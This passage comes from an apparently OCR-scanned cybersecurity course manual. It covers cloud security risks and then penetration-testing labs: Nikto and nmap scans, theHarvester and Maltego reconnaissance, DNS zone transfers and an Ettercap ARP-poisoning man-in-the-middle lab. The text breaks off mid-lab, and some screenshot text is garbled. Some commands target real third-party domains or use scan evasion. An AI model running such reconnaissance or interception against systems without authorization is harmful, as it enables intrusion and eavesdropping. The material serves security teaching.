e Forensic readiness: laaS providers can create and deploy a specialized forensic server version in the
same cloud. When a security breach occurs, you may have the server up and running almost
immediately! You can skip all of the time-consuming hardware provisioning by adopting cloud
computing, and you can have your server whenever you need it.

e Evidence transmission time between the hacked server and the forensics server will be lowered since

data transit between two servers in same cloud is incredibly quick.
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e Logging: For logging, cloud storage separates clumsy setup.

e Automatic logging: Logs are crucial in security examinations and the establishment of new defensive
architecture. In many businesses, however, recording is an afterthought. There are frequently few or
no logs due to clumsy resource allocation. Cloud storage alters all of this by enabling automated
logging for your cloud-based apps.

e Gold Pictures: Cloud storage makes it easier to install and maintain gold images.

1.7.2 Security recommendations and risks

Despite the numerous benefits that cloud computing may potentially provide to a business, cloud computing
has unique characteristics that necessitate a customized threat assessment in areas such as data security,
resilience, and privacy. A few important topics of concern expressed by various sources will be discussed in
this section. This part should serve as a starting point for some security issues that businesses may have with
cloud computing, and these aspects should always be taken into account before beginning a cloud computing
connection.

e Privileged user access: Sensitive information generated outside of an organization's internal
networks has an inherent risk, since internet services circumvent the physical control that an
organization would otherwise have. We have no idea who has immediate access to your information.
It might be public cloud executives, system administrators, or even hardware department staff. These
responsibilities are inescapable in cloud infrastructures, and they pose potential hazards. Negligence
or malevolent individuals might cause data disclosure from the inside.

e Data security: Data security refers to the physical security of data through access mechanisms and
encryption. Since many cloud providers still utilize the traditional authentication mechanism of
username/password, which is a poor secure paradigm, this is a security issue. Furthermore, it lacks
any degree of granularity, allowing various levels of accessibility to be granted to different persons.

e The breakdown of methods that separate storage, memory, or other assets between various clients
falls under this risk category. Attacks against resource isolation techniques, on the other hand, are
less common and, in principle, far more complex for an attacker to execute than attacks on typical
operating systems.

e Sanitization refers to the process of properly removing data from a device after it has been inactive
for a period of time. In this case, there are two outcomes that may be troublesome. The first scenario
involves the removal of hardware due to failure. If the commodity hardware breaks and is discarded,
your data may be recovered from the discarded hardware if it is not adequately cleaned before
disposal. The second situation occurs when customers cancel their service with a certain cloud

provider. Remaining data in the cloud is frequently not destroyed and is retained on purpose.
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Data location: Because of the cloud's scattered structure, you're unlikely to know where its data is
stored. You may not even be aware of the country in which it will be stored. You should inquire if
providers will commit to keeping and processing data in specified locations and, as a result,
jurisdictions, and if your contract allows them to comply with local privacy laws on behalf of their
clients. This technique is necessary since various nations may have dramatically varied jurisdictions
and processes, which can make things more complicated when security problems occur.

Data loss and recovery: In the event of data loss, a cloud provider should be upfront about what will
occur to the data and service. While the likelihood of a total loss is minimal due to high levels of
duplication, things can still go wrong. There's a chance that your data will be lost on numerous
servers at same time. As a result, it's critical to keep an eye on agreements with cloud service
providers to check if they're transparent about their data recovery methods, such as how long it'll
take and how much it'll cost.

Investigative support: We discussed some of the advantages of IT forensics while utilizing cloud
computing in the previous chapter, but detecting inappropriate or illegal activities might be
challenging owing to several technical aspects of cloud service providers. If you can't come to an
agreement with the suppliers to help you in particular types of research, then research and disclosure
procedures are going to be extremely difficult, if not impossible. Before beginning the service, any
company should study the fine print on investigative assistance.

Even if a cloud provider is eager to assist with investigation procedures, they may not be competent
of doing so in a timely and effective manner. The cloud's intricacy can make this technique difficult
to understand. For instance, one laaS provider claimed that it took them eight hours to notice and
respond to a Denial of Service assault. Before signing a contract with any cloud service, make sure

you understand and negotiate the incident response protocols.

1.7.3 Protective recommendation

Cloud computing poses several security threats and problems for IT workers, particularly for public clouds

whose architecture and computation power are held by a third party that offers services to the general

population. Nonetheless, certain precautions may be taken, and we've included some of the recommendations

made by the US National Institute of Standards and Technology (NIST) for government agencies and

departments with security requirements as rigorous as major corporations. We've also included some

information that may be of interest to the general audience.

Extend organizational processes to include cloud-specific rules, procedures, and standards.
Development, installation, testing, and supervision of delivered or engaged services are examples.
To guarantee that organizational practices are followed throughout the system lifespan, audit

methods and tools should be created.

25



e Understand the many types of regulations and laws that place security and privacy requirements on
the company, especially those that deal with data location, privacy, and security measures. There's
also a need to analyze and appraise cloud provider products in terms of the organizational criteria to
be met, and make sure that the terms are suitable.

e Promote contractual transparency by allowing insight into cloud providers' security and privacy
policies and procedures, as well as their effectiveness in a constantly changing and transforming risk
landscape.

e Examine the cloud provider's security policies, such as access restrictions, encryption techniques,
and data handling protocols, and analyze the risks. More significantly, avoid storing data in the
cloud.

e To identify the quickest approach to settle an event, comprehend, and execute the contract rules and

processes for incident handling required by the business.

Check your progress 4
Note: a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

1) What are the protective recommendations against cyber attacks in cloud?

1.8 Let UsSumUp

This unit covers the fundamentals of cloud computing, as well as the security aspect of a cloud server. This
unit is focused on types of cloud computing providers, generic cloud architecture, and file storage in the
cloud. In the later sections, the security recommendations, and risks are discussed along with protective

recommendations.
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1.9 Session wise- list of lab assignments

Now, we try solving the problems related to cloud server implementation.
Session -1

a) Write down a script that will shutdown all the services manually.
Session -2

a) Study about the Cloud simulation tools. Install CloudSim and analyze the working of CloudSim

simulator.

Session -3

a) Study about the Service models with real time examples.
Session -4

a) Study about Management of Cloud Computing Resources.
Session -5

a) Installation and Configuration of Oracle Virtual Box/VVMware.
Session -6

a) Installation and Configuration of Single Node Hadoop Cluster.
Session -7

a) Discuss performance evaluation of service over cloud.
Session -8

a) A case study on Google App Engine, Microsoft Azure, Amazon.
Session -9

a) A case study on salesforce.com.
Session -10

a) Create a scenario that uses Amazon S3 as storage on cloud.

1.10 Check your Progress: The Key

1. (i) Below are the five principles of Cloud Computing:

e Resource Provisioning: Cloud computing companies take advantage of significant economies of scale by
pooling their resources. They assemble a large number of servers and hard drives and implement the
same settings, security, and other features to all of them.

e Elasticity: Adding extra hard drive space or server connectivity on-demand can be accomplished with
only a few mouse clicks. Cloud computing also offers geographic scalability, with the option of
replicating data across many data centers across the world.
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Automatic resource deployment: The user merely needs to pick the types and characteristics of the
services he requires, and the cloud services provider will set up and hook them up for him effortlessly.
Virtualization: Customers do not have to be concerned about the physical status of their gear, nor do they
have to be concerned about device interoperability, thanks to virtualization.

Pay what you use: Consumers are only charged for what they use with metered billing.

(i) The hypervisor has evolved as an indispensable tool for operating virtual machines and promoting
innovation in a cloud context as cloud computing becomes more widespread. Hypervisors are a
fundamental component of the technology that allows cloud computing because they are a software layer
that allows one host computer to handle numerous virtual machines at the same time. Hypervisors enable
IT to keep control over a cloud environment's infrastructure, apps, and sensitive data while making
cloud-based services available to the user across a virtual environment. By abstracting a computer's
software from its hardware, hypervisors enable the development and control of virtual machines (VMSs).
Virtualization is made feasible by hypervisors, which translate requests between physical and virtual
resources. To allow the operating system on a computer to retrieve and use virtualization software, bare-
metal hypervisors are often built in the firmware at the same level as the motherboard basic input/output
system (BIOS).

(i) Below are the three layers of cloud architecture:

e The front end is responsible for client-server communication. Different APIs will be available to
access the real storage. This layer is also concerned with attaining outcomes such as multi-tenancy,
which we shall define in the following chapter. Furthermore, it offers a variety of scalability options
via a variety of techniques.

e The storage logic layer is in charge of a number of features and administrative tasks, such as
guaranteeing a high level of accessibility and dependability, for example. It's also a type of security
fence. In addition, it serves as a cloud storage administrator.

e The back-end is responsible for the actual deployment of physical data storage technologies such as
GFS (Google File System). It entails a variety of techniques for increasing storage efficiency and

decreasing infrastructure expenses.

(i) Below are the protective recommendations against the cyber attacks in cloud:

Extend organizational processes to include cloud-specific rules, procedures, and standards.
Development, installation, testing, and supervision of delivered or engaged services are examples. To
guarantee that organizational practices are followed throughout the system lifespan, audit methods and

tools should be created.
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Understand the many types of regulations and laws that place security and privacy requirements on the
company, especially those that deal with data location, privacy, and security measures. There's also a
need to analyze and appraise cloud provider products in terms of the organizational criteria to be met,
and make sure that the terms are suitable.

Promote contractual transparency by allowing insight into cloud providers' security and privacy policies
and procedures, as well as their effectiveness in a constantly changing and transforming risk landscape.
Examine the cloud provider's security policies, such as access restrictions, encryption techniques, and
data handling protocols, and analyze the risks. More significantly, avoid storing data in the cloud.

To identify the quickest approach to settle an event, comprehend and execute the contract rules and

processes for incident handling required by the business.
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IT AUDIT AND PENETRATION TESTING

Structure

2.0 Introduction
2.1 Learning Outcome
2.2 Introduction to IT Auditing
2.2.1  Stepsin IT Auditing
2.3 Introduction to Penetration Testing
2.3.1 Steps involved in Penetration Testing
2.4 Reconnaissance and Footprinting
2.4.1 Footprinting using NIKTO and theHarvester
2.4.2 Footprinting using Maltego
2.5 Scanning and Enumeration
2.5.1 Scanning using NMAP
2.5.2 DNS Enumeration and NetBIOS Enumeration
2.6 Man-in-the-middle (MITM) attack — ARP Poisoning
2.7 Automated SQL Injection using SQLMap
2.8 Gaining Access of Metasploitable machine using Metasploit Framework
2.9 Let Us Sum Up
2.10 Session wise- list of lab assignments
2.11 Check Your Progress: The Key

2.0 Introduction

In many respects, the introduction of information technology has revolutionized the way we operate, and
audit is no exception. However, clearly one of the most successful business tools, the now practically
ubiquitous Computer has also brought with its weaknesses in the automated company environment.
Credentials and authentication numbers that control access to electronic files, while the paper and pen of
mechanical operations have made way for online data entry of computerized applications have substituted
the locks and keys of filing systems. Each new vulnerability must be controlled, and determining the
efficacy of each control necessitates the use of new auditing methodologies. Most federal agencies,
government sector companies, and non-governmental organizations have heavily invested in computerizing
their activities during the previous decade. Owing to excessive purchase and operating expenses, computers
were first only applicable to large enterprises. Later, with the introduction of the computer and the quick
fall in costs, medium-sized businesses were able to use Information Technology for data handling as well.
The increasing availability of strong minicomputers and their related bundled software has led to
widespread computer adoption by even small businesses. As a result, the chances of data loss and the
accompanying organizational expenses have skyrocketed, along with additional risk factors.
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2.1 Learning outcome

This is the second unit of this course, which seeks to introduce the concept of IT Auditing and explain the
various aspect of penetration testing. This unit covers the introduction to penetration testing, it’s types and
the steps involved in the penetration testing. Thereafter, the labs related to reconnaissance and footprinting
is added in this unit. Tools like NIKTO, theHarvester, and Maltego are discussed under the reconnaissance
part. After that, the second phase of hacking i.e. Scanning and Enumeration is discussed and the tools like
dnsenum and dig is discussed. This usnit also covers the concept of Man in the middle attack using ARP
cache poisoning. Moreover, automated SQL injection using SQLMap is also the part of this unit. At last,

the lab on gaining the access of a metasploitable machine using the metasploit framework is added.

2.2 Introduction to IT Auditing

IT audit is a general term that encompasses Forensic Audits, Operational Audits, Information Systems
Audit, such as Performance Audit, Specialized Audits evaluating services offered by a third party, such as
outsourcing, and Financial Audits to determine the accuracy of an organization's financial statements.
However, forming a judgment on the level of dependence that may be put on the IT systems in the
inspected firm is a common feature.

The work of both internal and external auditors is affected by the introduction of a computer. They should
be familiar with the computer inputs, processing and output in order that they may conduct test checks
with understanding. Auditors should also know about some programming languages. The documentation
procedures may consist of-

a) Procedure narrative.

b) Flowcharts.

¢) Program code with print-outs.

d) Operating instructions for the computer operator.

e) Error routines.

f) Log sheets for recording computer operating and downtime.

g) Program maintenance.
2.2.1 Steps in IT Auditing

The following stages must always be included in the IT audit process:
e Planning

e Defining audit objectives and scope
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e Assessing controls
e Gathering and evaluating evidence
e Reporting, and
e Following up.
Check your progress 1

Note: a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) What are the steps involved in IT Auditing?

2.3 Introduction to Penetration Testing

Penetration Testing is the process of hacking a system with permission from the owner of that system, to
evaluate security, hack value, attacks, exploits, zero-day vulnerabilities, & other components such as
threats, vulnerabilities, and daisy chaining. There are basically four types of penetration testing mentioned
below:

e Tiger box
o Collection of OSs and hacking tools.

o Usually on a laptop.
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o Helps penetration testers and security testers conduct vulnerabilities assessments
and attacks.
e White box model

e Tester is told everything about the network topology and technology.
e Tester is authorized to interview IT personnel and company employees.
e Makes tester’s job a little easier.
e Black box model
e Tester is not given details about the network.
e Burden is on the tester to find the details.
e Gray box model
e Hybrid of the white and black box models.
e Company gives tester partial information.
2.3.1Steps involved in Penetration Testing
Penetration Testing is five step process, in which, firstly we find a vulnerability, then we design
the attack (based on the vulnerability identified), and thereafter we appoint a team of ethical
hackers to do the penetration testing, after that the ethical hackers will try to find out the kind of

data they could steal. Finally, based on the report generated the penetration testers will act on the
findings. Figure 1 shows the penetration testing steps.
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Figure 1: Diagram for Platform Virtualization

2.4 Reconnaissance and Footprinting

Reconnaissance means narrowing down the search to specific targets, tools and techniques. Footprinting is
a technique for gathering information on computer systems and the entities they belong to. There are two
types of reconnaissance: active and passive reconnaissance. In active reconnaissance, the attacker directly
interact with the target by connecting to it whereas in passive reconnaissance, there is non-interactivity with
the target, the attacker identifies the indistinguishable public traffic that the target is using.

241 Footprinting using NIKTO
and theHarvester Footpriting using

NIKTO

In this lab, we will use the Nikto tool to gather information from a website. Specifically, we are looking for
possible vulnerabilities on the website.

Requirements for the lab: Kali Linux / Parrot OS

Step 1: Launch your Kali virtual machine and log in

Step 2: Launch a Terminal window
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Step 3: At the prompt, enter: nikto -e 1 -h webscantest.com

**We are using the evasion switch (-e) and the number 1 (to specify random encoding) to help us be a little

bit stealthier when running the scan. We also use -h to define the hostname or IP address. Note: It will take

several minutes to run the scan.

[ N N J nikto -e 1 -h webscantest.com - Parrot Terminal

File Edit View Search Terminal Help
root@parrot |~ | /home/user
#nikto -e 1 -h webscantest.com
- Nikto v2.1.6

Target IP: 69.164.223.208

Target Hostname: webscantest.com

Target Port: 80

Using Encoding: Random URI encoding (non-UTF8)

Start Time: 2022-01-15 14:38:56 (GMTO)

Server: No banner retrieved

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user a
pent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent
o render the content of the site in a different fashion to the MIME type

Server banner has changed from '' to 'Apache/2.4.7 (Ubuntu)' which may suggest
a WAF, load balancer or proxy is in place

Cookie NB SRVID created without the httponly flag

Check your progress 2
a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) Do you see any possible vulnerabilities from the website? If yes, please write some of them
below:

Footprinting using theHarvester
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In this lab, we are going to to use a tool called theHarvester. This tool is useful for gathering information
on subdomains, employee names, emails, open ports, and banners. It gathers the information from public
sources, like regular search engines and Shodan. You can read more about it here:
https://tools.kali.org/information-gathering/theharvester

Requirements for the lab: Kali Linux / Parrot OS

Step 1: Launch you Kali / Parrot OS machine and login
Step 2: Open a Terminal window

Step 3: At the prompt, type theharvester -h to view the help file for the tool.

Step 4: We are just going to use one of the example statements from the help section.

Please type this command: theharvester -d microsoft.com -1 50 -b google -s -d is the domain or company

name to search.

t@parrot /home/user
#theHarvester -d microsoft.com -1 56 -b sublist3r

N 0 B s e
oy § (= | ST A

theHarvester 4.8.0

Coded by Christian Martorella
Edge-Security Research
cmartorella@edge-security.com

Target: microsoft.com
Searching Sublist3r.
No IPs found.

No emails found.

-smtp-in-2a.microsoft.com:157.54.41.37

-61.72.33 _microsoft.com
1i9client-pl.myphone-119client.microsoft.com
119perf-pl.myphone-119perf.microsoft.com
45.76.116.45 .microsoft.com
S52-114-124-1_relay_teams . microsoft._com
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Check your progress 3
a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i). Were you able to see any IP addresses in the output? If yes, write at least two of them here

2.4.2 Footprinting using Maltego

In this lab, we are going to to use a tool called Maltego.

Maltego is an open source intelligence forensic application. Which will help you to get more accurate
information and in a smarter way.

In simple words, it is an information-gathering tool.

You can read more about it here:

https://tools.kali.org/information-gathering/maltego-teeth

Requirements for the lab: Kali Linux / Parrot OS

Step 1: Launch you Kali / Parrot OS machine and login

Step 2: Open a Maltego from tools available in Kali and Parrot OS

Step 3: At the prompt, run the CE version of Maltego. . In this experiment, we will be using
haveibeenpwned.com database. So, make sure that this integration is available with Maltego.

Step 4: Create a new graph, select the domain as entity from entity panel and the use any domain like
linkedin.com (Note: Don’t use it on some govt. domains). After that right click on the domain that you have
chosen as a target and then run all the transformations related to e-mails.

Step 5: After you get all the email ids, select them and run breach transformation.

Step 6: After you get all the breaches, select anyone to enrich it by running the enrich transformation.
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Figure: Footprinting using Maltego

Check your progress

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

1. Were you able to see any breached related to any email id? If yes, write at least three of them here

2.5 Scanning and Enumeration
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Network scanning is a method of getting network information such as identification of hosts, port

information, and services by scanning networks and ports.

2.5.1 Scanning using NMAP

In this lab, we will use the NMAP tool for scanning the network. Nmap has become one of the most popular
tools in network scanning by leaving other scanners behind. Many times the hosts in some organizations
are secured using {firewalls or intrusion prevention systems which result in the failure of scanning due to
the present set of rules which are used to block network traffic. In Nmap, a pentester can easily make use
of alternate host discovery techniques to prevent this from happening. It consists of certain features that
make the network traffic a little less suspicious. Hence, let us look at various techniques of Host Discovery.
Requirements for the lab: Kali Linux / Parrot OS

Step 1: Launch your Kali virtual machine and log in

Step 2: Launch a Terminal window.

Step 3: At the prompt, enter: nmap —h

ot@parrot /home/user
#nmap -h
Nmap 7.92 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org., microsoft.com/24, 192.168.€.1: 10.0.€-255.1-254
-ilL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
- -exclude <hostl[.host2][.host3].,....>: Exclude hosts/networks
- -excludefile <exclude file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol l1ist]l: IP Protocel Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes])
--dns-servers <servl.serv2].,...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
- -traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-SS/ST/sA/sSW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDF Scan
-SN/sF/sX: TCP Null., FIN. and Xmas scans
--scanflags <flags>: Customize TCP scan flags

-sI <zombie hostl:probeport]l>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0O: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports

Ex: -p22: -pl-65535; -p U:53.111.137.T:21-25.86,1329.8080.,5:9
- -exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
- -top-pOorts <number>: Scan <number> mMmost common DOrts

Step 4: From the help page explore the various options of nmap on scanme.nmap.org or create a separate

metasploitable machine and use that as a target.
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- -top-ports <number>: Scan <number> mosSt common ports

--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:

-sV: Probe open ports to determine service/version info

--version-intensity <level>: Set from @ (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: eguivalent To --script=default
- -script=<_Lua scripts>: <lLua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<nl=vl., [n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua sScripts> is a comma-separated list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
- -osscan-guess: Guess OS more aggressively
TIMING AND FPERFORMANCE:
Options which take —<time> are in seconds, or append 'ms' (milliseconds).
8 (seconds) ., *mc (minutes), or "h°* (hours) to the value (e.g. 36m).
- T<=©-5>: Set timing template (higher is faster)
--min-hostgroups/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
~--min-rtt-timecut/Mmax-rtt-timecut/initial-rtt-timeout <time>: Specifies
probe round trip time.
- -max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeocut <time>: Give up on target after this lon
--scan-delay/--max-scan-delay <time>: Adjust delay between probes

Step 5: Run the various options listed below:
Ping Sweep (No port scan)

root@parrot |~ /home/user
#nmap -sP scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-05 13:55 GMT
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.0022s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c@1::f03c:91ff:fel8:bb2f
Nmap done: 1 IP address (1 host up) scanned in 5.49 seconds

Types of Scans
UDP Ping Scan

@parrot|—|/home/user
#nmap -sU 18.9.2.15
Starting Nmap 7.92 { https://nmap.org ) at 2022-02-85 14:28 GMT
iNmap scan report for 10.0.2.15
[Host is up (©.0040s latency).
All 1088 scanned ports on 10.8.2.15 are in ignored states.
Not shown: 1808 closed udp ports (port-unreach)

Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

@parrot |- | /home/user
#nmap -sU scanme.nmap.org

Starting Nmap 7.92 { https://nmap.org ) at 2022-82-85 14:12 GMT
Mmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (8.834s latency).
Other addresses for scanme.nmap.org (not scanned): 26080:3cBl::fe3c:91ff:fels:bb2f
Mot shown: 999 open|filtered udp ports {no-response)
PORT STATE SERVICE
123/udp open ntp

Mmap done: 1 IP address (1 host up) scanned in 1587.73 seconds
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ARP Ping Scan

]=[root@parrot | /home/user
#nmap -PR linuxhunt.com
[Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-05 14:42 GMT
Nmap scan report for linuxhunt.com (3.6.18.84)
Host is up (0.0089s latency).
Other addresses for linuxhunt.com (not scanned): 3.6.118.31
rDNS record for 3.6.18.84: ec2-3-6-18-84.ap-south-1.compute.amazonaws.com
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http

[Nmap done: 1 IP address (1 host up) scanned in 14.75 seconds

Check your progress 5

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

1) Do you see any open  ports? If yes,  please writesome of
them below:

2.5.2 DNS Enumeration and NetBIOS Enumeration

In this lab, we will do Enumeration. Enumeration is defined as the process of extracting user names,
machine names, network resources, shares and services from a system. Actually, there are various types of
enumeration techniques, but the major ones are DNS Enumeration and NetBIOS enumeration. DNS
enumeration is the process of locating all the DNS servers and their corresponding records for an

organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target
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systems. The list of DNS record provides an overview of types of resource records (database records) stored
in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and
redundant database for information associated with Internet domain names and addresses. DNS Zone
Transfer is a process where a DNS server passes a copy of part of its data base (which is called a “zone”)
to another DNS server. DNS Zone Transfer used to replicate DNS data across a number of DNS servers or
to back up DNS files. A user or server will perform a specific zone transfer request from a —name server.
If the name server allows zone transfers by an anonymous user to occur, all the DNS names and IP addresses
hosted by the name server will be returned in human-readable ASCII text.

Requirements for the lab: Kali Linux / Parrot OS

Step 1: Launch your Kali virtual machine and log in

Step 2: Launch a Terminal window

Step 3: At the prompt, enter: dnsenum zonetransfer.me

L 2 ]
File Edit View Search Terminal Help
@parrot home /user

# dnsenum ronetransfer.me
dnsenum VERSION:1

zonetransfer . me

zonetransfer.me. 5.196.105.14

nsztml.digi.ninja. 81.4.188.41

nsztm2 .digi.ninja. 34.225.33.2

A
A
A
A
A
A
A

Step 4: Once this is done, write down your observations and answer questions given below, based on your
observations.
Step 5: Now, you can use a different command to give some more information, open a separate terminal

and type host zonetransfer.me
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LN X J dig zonetransfer.me - Parrot Terminal

File Edit View Search Terminal Help
root@parrot |—!/home/user
# host zonetransfer.me
zonetransfer.me has address 5.196.105.14
zonetransfer.me mail is handled 20 ASPMX3.GOOGLEMAIL.COM.

zonetransfer.me mail is handled 10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled © ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled 20 ASPMX2.GOOGLEMAIL.COM.
zonetransfer.me mail is handled 10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled 20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me mail is handled 20 ASPMXS.GOOGLEMAIL.COM.

Step 6: Now, to get information about the name server, type in terminal - host —t ns zonetransfer.me

]J=[root@parrot |~ /home/user

#host -t ns zonetransfer.me
zonetransfer.me name server nsztml.digi.ninja.
zonetransfer.me name server nsztm2.digi.ninja.

Step 7: Now, in order to perform zone transfer, write down the name of the name server that you got from
the previous command, and type in terminal — host —| zonetransfer.me nsztml.digi.ninja (The name of the

name server is written at last).

root@parrot /home/user
#host -1 zonetransfer.me nsztml.digi.ninja
Using domain server:
Name: nsztml.digi.ninja
Address: 81.4.108.41#53
Aliases:

zonetransfer.me has address 5.196.165.14

zonetransfer.me name server nsztml.digi.ninja.

zonetransfer.me name server nsztm2.digi.ninja.

14.165.196.5. IN-ADDR.ARPA . zonetransfer.me domain name pointer www.zonetransfer.me.
asfdbbox.zonetransfer.me has address 127.0.0.1

canberra-office.zonetransfer.me has address 262.14.81.236
dc-office.zonetransfer.me has address 143.228.181.132

deadbeef.zonetransfer.me has IPv6 address dead:beaf::

email.zonetransfer.me has address 74.125.206.26

home . zonetransfer.me has address 127.6.6.1

internal.zonetransfer.me name server intnsl.zonetransfer.me.
internal.zonetransfer.me name server intns2.zonetransfer.me.
intnsl.zonetransfer.me has address 81.4.168.41

intns2.zonetranster.me has address 167.88.42.94

office.zonetransfer.me has address 4.23.39.254

ipvGactnow.org. zonetransfer.me has IPv6 address 2001:67c:2e8:11::c160:1332
owa.zonetransfer.me has address 207.46.197.32
alltcpportsopen.firewall.test.zonetransfer.me has address 127.6.0.1
vpn.zonetransfer.me has address 174.36.59.154

www . Zzonetransfer . me has address 5.196.165.14

Step 8: Now, we can also use another command to do the zone transfer and get some useful information,
open a separate terminal and type dig zonetransfer.me NAME OF THE NAME SERVER ( e.g.

nsztml.digi.ninja)
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root@parrot /home/user
# dig zonetransfTer.me

; <<>> DiG 9.16.22-Debian <<> zonetransfer.me

;:; global options: +cmd

;; Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24340

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL:

;3 OPT PSEUDOSECTION:
; EDNS: version: O, flags:; udp: 1286

;; QUESTION SECTION:
;zonetransfer.me. IN

;3 ANSWER SECTION:
zonetransfer.me. 6114 IN 5.196.105.14

;; Query time: 112 msec

; SERVER: 192.168.103.228#53(192.168.163.228)
;; WHEN: Fri Mar €4 11:02:27 GMT 2022

;: MSG SIZE rcvd: 60

Step 9: Now, in order to get some more information about the target, the attacker may use nslookup
command. Open a separate terminal and type nslookup zonetransfer.me Note: It will take several minutes

to run the scan.

:‘ootépérrgt )= /home/user
# nslookup zonetransfer.me

‘Server: 192.168.103.228
Address: 192.168.103.228#53

'Non-authoritative answer:
Name: zonetransfer.me
Address: 5.196.105.14

Check your progress 6

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) Do you see any crucial information after doing DNS enumeration? If yes, please write some of them

below:
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2.6 Man-in-the-middle (MITM) attack — ARP Poisoning

In this lab, we will do Man in the middle attack (MITM) using Ettercap. Ettercap is a
comprehensive suite for man in the middle attacks. It features sniffing of live connections,
content filtering on the fly and many other interesting tricks. It supports active and passive
dissection of many protocols and includes many features for network and host analysis.
Requirements for the lab: Attacker Machine - Kali Linux /

Parrot OS. Victim / target Machine— Windows Machine

(Win 7/ Win 8)

Step 1: Launch your attacker machine (Parrot virtual machine) and log in

Step 2: Go to Applications -> Pentesting -> Sniffing & Spoofing and then launch Ettercap
graphical

Step 3: At the prompt, it will ask for the adapter that you want to choose, you may choose unified

or bridged sniffing and then click on start.
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Step 4: Once this is done, scan for the hosts, it will list you the IP address of the default gateway
as well as the IP address of the target machine. Make sure that your target machine is up and

running before this step.

Progress

Step 5: Now, from the lists of the hosts add the targets, add IP address of gateway as target 1 and

IP address of victim as the target 2.
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,
B C:\Windows\system32\cmd.exe =8 EoH T

Microsoft Windows [Uersion 6.1.7688)
Copyright <(c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Jaudd>ipconfig

Mindows IP Configuration

Ethernet adapter Local Area Connection:

Connection—-specific DNS Suffix . : ddn.upes.ac.in
Link—-local IPvb Address . . . . . : fe88::eB%a:fe42:2282:8h22x11

IPv4 Address. . VR R U P : 10.9.2.169
Subnet Mas i il e e Biile e B EDONESOA U0
Default Gateway . . . . . . . . . = 10.9.1.1

Tunnel adapter isatap.ddn.upes.ac.i

Media State . . . . . . . . « -« . * Media disconnected
Connectio pecific DNS Suffix : ddn.upe i

C:\Users\Jaudd>

In this we have both default gateway address and IP address of target machine.

MAC Address  Deseription
FRELSIESSTE

Adel 1o Targed 1 Adciso Target 1

W 0.9.11 DN 10.2. 160 “denuspes. s ™

0,171 CBE5 10,2, 160 “dnuppes. acin®

Here we added both the Targets

Step 6: Now, from MITM Menu select the ARP Poisoning, and make sure that Sniff remote

connections option is checked.
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ARP poisoning...
NDP poisoning
ICMP redirect...
Port stealing...
DHCP spoofing...

Stop MITM attack(s)

SSL Intercept

Cancel MITM Attack: ARP Poisoning

Optional parameters
9.1.1DNS 10.2.1.60
¥ Sniff remote connections.

.1DNS10.2.1.60 "d¢ Only poison one-way.

9.1.1DNS 10.2.1.60 "ddn.upes.ac.in”

-1DNS10.2.1.60 "ddn.upes.ac.in”

Step 7: Now, Ettercap has poisoned the ARP tables of the gateway and the target. Now, you can
perform the MITM and can sniff the traffic going from the target machine.

Step 8: Now, you can launch any network sniffer like tcpdump or wireshark on the attacker
machine. | am using tcpdump, | will open a separate terminal and type: Sudo tcpdump —I ethO
port 80 and host IP_Address_of target.

e m QW

Howt List m .3 | roni Phsir Mrawralud
Fle Actions Fdk Vimw Help

US ) -I~)
